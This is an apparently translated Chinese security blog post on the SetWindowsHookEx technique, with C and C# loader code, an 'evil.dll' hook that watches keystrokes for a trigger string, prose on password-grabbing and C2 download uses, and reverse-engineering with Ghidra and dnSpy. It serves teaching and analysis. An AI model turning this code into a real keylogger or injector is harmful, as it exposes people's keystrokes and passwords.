免责声明:
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
在Windows中设置我们的钩子
我们带着关于常见恶意软件技术的另一篇帖子回来了。这次我们讨论的是设置Windows钩子。这是一种简单的技术,可以用来记录键盘输入或将代码注入到远程进程中。我们将使用 SetWindowsHookEx 函数来注册一个函数,每当一个事件被触发时就会被调用。
我们将用C和C#语言来演示这种方法,就像我们在之前的帖子中所做的那样。
它是如何工作的?
这种攻击通过使用Windows的 SetWindowsHookEx 函数来工作。这个函数允许程序员告诉Windows将一个指定的钩子过程添加到钩子链中。例如,可以钩住 WH_KEYBOARD 类型来创建一个键盘记录器。
每次按键被按下或释放时,一个消息会被放入一个消息列表或链中,这个列表或链被称为钩子链。链中的每个链接都会处理消息,然后将其传递给下一个链接。监听函数随后可以将按键记录在内存中、磁盘上或发送到C2服务器。
SetWindowsHookEx 函数的参数如下所示。
HHOOK SetWindowsHookExA(
[in]int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
-
idHook 是要添加的钩子类型。有14种不同类型的钩子,尽管在较新的Windows版本中有些已经被弃用。对我们来说,我们将专注于 WH_KEYBOARD 钩子类型。这将在每次键盘事件被触发时向我们的应用程序定义的函数发送信号。
-
lpfn 是指向将在事件被触发时被调用的应用程序定义的函数的指针。这个函数必须包含以下参数:nCode、wParam 和 lParam。
-
hmod 是指向包含应用程序定义的函数的库的指针。在我们的例子中,这将是一个被加载到目标系统上的恶意DLL。我们将使用一个明显的名称叫做 evil.dll。
-
dwThreadId 是钩子要绑定的线程标识符。在桌面上,这个参数的值为 0 (零),将这个钩子添加到桌面上所有线程,而不仅仅是当前线程。
在钩子被添加到 hook_chain 之后,注册的DLL将被加载到触发该钩子事件的任何进程中。因此,任何按键的进程都将执行我们的恶意代码。下面的图片是在一个新的DLL被加载时为X64dbg设置的断点。调试器附加到了Microsoft Notepad.exe,恶意进程启动后。验证了 evil.dll 没有被加载到Notepad的内存空间中。然后,在Notepad应用程序中输入一个字符导致 evil.dll 被加载到该内存空间并执行。
C和C#中的代码演示
我们将从一个C语言的例子开始。这个例子非常小,本身是良性的。这个例子从将一个库加载到内存开始。然后找到其一个函数的地址。库和函数地址随后被用于 SetWindowsHookEx 函数调用。示例的最后几行保持这个程序不结束,直到我们准备好。程序一旦结束,我们添加的钩子将被移除。
int main(int argc,char* argv[]){
HMODULE library =LoadLibrary("evil.dll");
HOOKPROC hookProc =(HOOKPROC)GetProcAddress(library,"evil_func");
HHOOK hook =SetWindowsHookEx(WH_KEYBOARD, hookProc, library,0);
char option;
printf("Enter 'q' to exitn");
do{
option = getchar();
}while(option !='q');
}
-
行6:将请求的库加载到当前内存空间,并返回其地址。
-
行7:在已加载的库中搜索名为 evil_func 的函数。一旦找到,它返回其内存地址。
-
行8:使用 SetWindowsHookEx 函数将钩子添加到键盘的 hook_chain 中。
-
行10-15:保持程序打开,直到用户输入字符 q。这是必要的,因为当程序退出时,添加的钩子将被移除。
接下来,我们将讨论DLL本身。这个例子是用C语言编写的,但也可以用C#编写。恶意DLL示例包含两个函数:DllMain 和 evilfunc。DllMain 在库第一次被调用时使用。evilfunc 用于执行我们更恶意的任务。在这种情况下,evil_func 被编程为监听按键,直到它检测到字符串 START,然后它向用户显示一个消息框。相当良性,但这确实可以用来记录按键,因为该函数至少会在每次按键时被调用一次。其他用途可能包括一个持久性机制,只有在特定按键序列被输入时才会触发。想象一下,攻击者知道目标的用户名结构,并想要抓取密码。他们可能会在用户名包括电子邮件地址的情况下触发 ‘@TRUSTEDSEC.COM’。此外,这也可以作为一种持久性方法,恶意软件等待特定按键序列触发,然后与C2联系下载主要通信包。
char lastKey =0;
char str[6];
int str_len =0;
__declspec(dllexport) LRESULT CALLBACK evil_func(int nCode, WPARAM wParam, LPARAM lParam ){
char l_str[200];
if(lastKey ==(char) wParam)goto END;
lastKey =(char)wParam;
if(str_len <5){
str[str_len]= lastKey;
str_len +=1;
}else{
strncpy(str, str+1,4);
str[str_len-1]= lastKey;
}
if(strncmp(str,"START",5)==0){
sprintf(l_str,"Malware is running now, str (%s)", str);
int msgboxID =MessageBox(NULL, l_str,"Are you sure?", MB_OKCANCEL);
}
END:
returnCallNextHookEx(NULL, nCode, wParam, lParam);
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
memset(str,0,6);
break;
}
return TRUE;
}
-
行4-6:设置全局变量,这些变量在每次函数被调用时用于跟踪以前的输入。
-
行8:函数原型。nCode 是钩子用来处理消息的代码。指定了下一个参数将包含的内容。wParam 是被按下的键的键码。lParam 包含消息标志。包括重复计数、扫描码等。
-
行10:在栈上创建一个内存空间来存储一个字符串消息。
-
行11:将新按键与上次按键进行比较。这用于过滤出双重提交,按键按下,按键释放。如果相同,则什么都不做并返回。
-
行12:将当前键保存为全局上一个键。
-
行13-21:检查全局字符串缓冲区的长度。如果它的长度小于5个字符,那么就追加新字符。如果它的长度超过5个字符,那么就将字符向左移动一个位置,并在末尾添加新字符。
-
行22-26:检查全局字符串缓冲区是否包含单词 START。如果包含,那么生成一个消息框。否则,什么都不做。
-
行27-28:通过调用键盘 hook_chain 中的下一个函数来清理函数,然后退出函数。
-
行31-40:这是DLL的主函数,用于在库第一次加载时使用。在这种情况下,我们只使用它来将全局字符串设置为全零。
C#的例子和C版本非常相似,只是我们需要在不安全的声明类中包装Windows API调用,并使用一个包装函数来声明使用的Windows API。
namespace dll_sethook {
unsafeclassProgram{
staticvoidMain(string[] args){
IntPtr libAddr =Win32.LoadLibrary("evil.dll");
IntPtr evilAddr =Win32.GetProcAddress(libAddr,"evil_func");
IntPtr hook =Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr,0);
Console.WriteLine("Press 'q' to exit");
while(Console.ReadKey().Key!=ConsoleKey.Q){}
}
}
}
-
行9:告诉C#整个类是“不安全”的,将使用超出正常C#标准使用的函数和内存。
-
行13:使用一个辅助类Win32来加载 LoadLibrary 函数定义,将 evil.dll 加载到程序的内存空间,并返回已加载库的内存地址。
-
行14:再次使用辅助类来访问 GetProcAddress,找到加载库中 evil_func 的函数地址。
-
行16:使用 SetWindowsHookEx 函数将钩子添加到键盘的 hook_chain 中。
-
行18-19:保持程序打开,直到用户输入字符 q。这是必要的,因为当程序退出时,添加的钩子将被移除。
代码逆向
我们之前讨论的C代码被编译成Windows 64位可执行文件,然后使用MinGW进行汇编和反编译,使用Ghidra。如下所示,Ghidra生成的源代码与原始代码非常接近。
大多数C#代码的逆向过程都很简单,可以使用dnSpy工具。有一些方法可以隐藏或破坏.exe文件,使得dnSpy无法对其进行反编译,但大多数情况下,攻击者不会走到这一步。
要将可执行文件加载到dnSpy中,只需将其拖放到左侧窗格。加载后,窗格将提供.exe文件组件的树状列表。
下面的图片是在dnSpy中反编译的C#钩子示例。同样,它非常接近原始代码。
结论
使用 SetWindowsHookEx 是一个有趣的方法来说明键盘记录器,因为当钩子被安装后,它将监控所有键盘事件,而不仅仅是来自原始进程的事件。这个函数也可以用来将恶意DLL注入到远程进程中,但仅限于当前用户拥有的进程。过去,这种注入方法已被多个安全产品检测到,因此在实际环境中使用前需要在实验室进行测试。
打个广子
我们拥有专业的团队,可承接渗透测试,攻防演练,应急响应、钓鱼演练、ctf培训等比赛项目
原文始发于微信公众号(影域实验室):Windows钩子技术与恶意软件应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论